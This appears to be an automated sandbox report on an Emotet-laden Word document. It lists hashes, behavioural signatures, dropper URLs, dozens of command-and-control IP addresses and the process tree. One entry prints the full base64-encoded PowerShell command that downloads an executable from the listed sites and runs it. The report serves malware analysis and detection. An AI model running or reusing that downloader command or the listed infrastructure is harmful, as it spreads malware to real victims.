Analysis
- max time kernel
149s - max time network
153s - platform
windows10_x64 - resource
win10v200722 - submitted
29/07/2020, 06:55
Static task
static1
Behavioral task
behavioral1
Sample
CNF_794027157956963665888.doc
Resource
win7
General
- Target CNF_794027157956963665888.doc
- Size 169KB
- Sample200729-a56rf4xe72
- SHA256 05d7fbb4d8d2d81c1066cdfa392180356d3832952230ea62b713816042476621
- MD5 39c0446b5686cd6a60a3de1d8cccff39
- SHA1 4fe8ae40e43b35cdcaf4112d67ea407a1e1f9c6c
- SHA512 5b0a47fd0db35758bcd5faffcb60f18e07c4f717b88927d713eec8570e1d7db3b98b17e076143ff968e06158b04d6ff54c0c8c7d4d6ab446f992a5b97af9930e
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://meuambientedecoracoes.com.br/update/ux5_iq061_x7f/
-
exe.dropper
http://dogbluemedia.com/dbm-salon/1g_9s_98t0/
-
exe.dropper
http://enhancementtechnology.co.uk/wp-includes/w0r_c6_zy8an/
-
exe.dropper
https://firstaid-redliv.dk/wp-content/c_zjmm_0p7xzukpo9/
-
exe.dropper
http://firman.com.au/fq_cze_gakl53z/
Extracted
-
emotet
-
76.27.179.47:80
-
212.51.142.238:8080
-
189.212.199.126:443
-
61.19.246.238:443
-
162.154.38.103:80
-
91.211.88.52:7080
-
83.110.223.58:443
-
124.45.106.173:443
-
116.203.32.252:8080
-
109.117.53.230:443
-
5.196.74.210:8080
-
75.139.38.211:80
-
168.235.67.138:7080
-
176.111.60.55:8080
-
169.239.182.217:8080
-
74.208.45.104:8080
-
31.31.77.83:443
-
222.214.218.37:4143
-
37.139.21.175:8080
-
91.205.215.66:443
-
93.156.165.186:80
-
78.24.219.147:8080
-
87.106.136.232:8080
-
87.106.139.101:8080
-
81.2.235.111:8080
-
62.75.141.82:80
-
181.230.116.163:80
-
95.9.185.228:443
-
173.91.22.41:80
-
153.126.210.205:7080
-
113.160.130.116:8443
-
190.55.181.54:443
-
137.59.187.107:8080
-
209.182.216.177:443
-
91.231.166.124:8080
-
95.179.229.244:8080
-
201.173.217.124:443
-
5.39.91.110:7080
-
109.74.5.95:8080
-
104.131.11.150:443
-
104.236.246.93:8080
-
209.141.54.221:8080
-
95.213.236.64:8080
-
210.165.156.91:80
-
46.105.131.79:8080
-
24.43.99.75:80
-
203.153.216.189:7080
-
180.92.239.110:8080
-
62.138.26.28:8080
-
104.131.44.150:8080
-
139.130.242.43:80
-
79.98.24.39:8080
-
41.60.200.34:80
-
93.51.50.171:8080
-
47.153.182.47:80
-
185.94.252.104:443
-
71.208.216.10:80
-
200.41.121.90:80
-
70.167.215.250:8080
-
121.124.124.40:7080
-
157.245.99.39:8080
-
139.59.60.244:8080
-
103.86.49.11:8080
-
50.116.86.205:8080
-
46.105.131.87:80
-
162.241.92.219:8080
-
152.168.248.128:443
-
200.55.243.138:8080
-
190.160.53.126:80
-
24.234.133.205:80
-
37.187.72.193:8080
-
108.48.41.69:80
-
110.145.77.103:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2320 1068 powersheLL.exe 67 - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\AuthFWGP\offlinesam.exe 569.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3836 wrote to memory of 488 3836 569.exe 79 PID 3836 wrote to memory of 488 3836 569.exe 79 PID 3836 wrote to memory of 488 3836 569.exe 79 - Emotet Payload 2 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3836-8-0x0000000000670000-0x000000000067C000-memory.dmp emotet behavioral2/memory/488-11-0x0000000000740000-0x000000000074C000-memory.dmp emotet - Suspicious use of SetWindowsHookEx 15 IoCs
pid Process 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 788 WINWORD.EXE 3836 569.exe 3836 569.exe 488 offlinesam.exe 488 offlinesam.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 788 WINWORD.EXE 788 WINWORD.EXE - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2320 powersheLL.exe - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2320 powersheLL.exe 2320 powersheLL.exe 2320 powersheLL.exe 488 offlinesam.exe 488 offlinesam.exe 488 offlinesam.exe 488 offlinesam.exe - Blacklisted process makes network request 2 IoCs
flow pid Process 18 2320 powersheLL.exe 33 2320 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3836 569.exe 488 offlinesam.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\CNF_794027157956963665888.doc" /o ""1⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
PID:788
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABMAFMATQBXAEYAaQB3AHoAPQAnAEwAUABKAEcASAB4AHMAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBjAHUAUgBgAGkAdABZAGAAcAByAG8AdABPAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQASABDAFYAUgBYAGkAagBrACAAPQAgACcANQA2ADkAJwA7ACQATwBWAEUAUABKAGEAbQBtAD0AJwBCAEYASwBIAFUAaQBlAHoAJwA7ACQAQgBWAFEATgBGAHEAegBqAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABIAEMAVgBSAFgAaQBqAGsAKwAnAC4AZQB4AGUAJwA7ACQARgBRAEkAUQBGAHYAbgB0AD0AJwBBAFUAWABaAEsAdABqAHcAJwA7ACQARwBQAFQAWABRAHAAbwBrAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAFcARQBCAEMATABJAGUAbgB0ADsAJABDAEEAVgBPAFQAcwB0AG8APQAnAGgAdAB0AHAAOgAvAC8AbQBlAHUAYQBtAGIAaQBlAG4AdABlAGQAZQBjAG8AcgBhAGMAbwBlAHMALgBjAG8AbQAuAGIAcgAvAHUAcABkAGEAdABlAC8AdQB4ADUAXwBpAHEAMAA2ADEAXwB4ADcAZgAvACoAaAB0AHQAcAA6AC8ALwBkAG8AZwBiAGwAdQBlAG0AZQBkAGkAYQAuAGMAbwBtAC8AZABiAG0ALQBzAGEAbABvAG4ALwAxAGcAXwA5AHMAXwA5ADgAdAAwAC8AKgBoAHQAdABwADoALwAvAGUAbgBoAGEAbgBjAGUAbQBlAG4AdAB0AGUAYwBoAG4AbwBsAG8AZwB5AC4AYwBvAC4AdQBrAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AdwAwAHIAXwBjADYAXwB6AHkAOABhAG4ALwAqAGgAdAB0AHAAcwA6AC8ALwBmAGkAcgBzAHQAYQBpAGQALQByAGUAZABsAGkAdgAuAGQAawAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBjAF8AegBqAG0AbQBfADAAcAA3AHgAegB1AGsAcABvADkALwAqAGgAdAB0AHAAOgAvAC8AZgBpAHIAbQBhAG4ALgBjAG8AbQAuAGEAdQAvAGYAcQBfAGMAegBlAF8AZwBhAGsAbAA1ADMAegAvACcALgAiAHMAYABQAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBEAEMAVgBTAHYAegB5AD0AJwBBAEkAUABZAEQAeQBoAGkAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFMARABTAFEARgBuAHAAcwAgAGkAbgAgACQAQwBBAFYATwBUAHMAdABvACkAewB0AHIAeQB7ACQARwBQAFQAWABRAHAAbwBrAC4AIgBkAE8AVwBOAGAAbABgAG8AYQBEAGYAaQBsAEUAIgAoACQAUwBEAFMAUQBGAG4AcABzACwAIAAkAEIAVgBRAE4ARgBxAHoAagApADsAJABTAFkAUABKAEIAcQBzAGwAPQAnAEEAQgBVAFIAWAB5AHgAeQAnADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEIAVgBRAE4ARgBxAHoAagApAC4AIgBMAGUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMANgA1ADEAOQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAEUAYQBgAFQAZQAiACgAJABCAFYAUQBOAEYAcQB6AGoAKQA7ACQASgBYAE0AUgBIAGYAbgBrAD0AJwBDAFIAWQBSAEMAdQByAHgAJwA7AGIAcgBlAGEAawA7ACQAVwBDAE0AQwBIAGUAeQB4AD0AJwBJAEsAUQBBAEUAZAB6AHkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBHAEkARQBPAGYAYQBpAD0AJwBDAEoAUwBXAEcAYQBkAGIAJwA=1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:2320
-
C:\Users\Admin\569.exeC:\Users\Admin\569.exe1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:3836 -
C:\Windows\SysWOW64\AuthFWGP\offlinesam.exe"C:\Windows\SysWOW64\AuthFWGP\offlinesam.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:488
-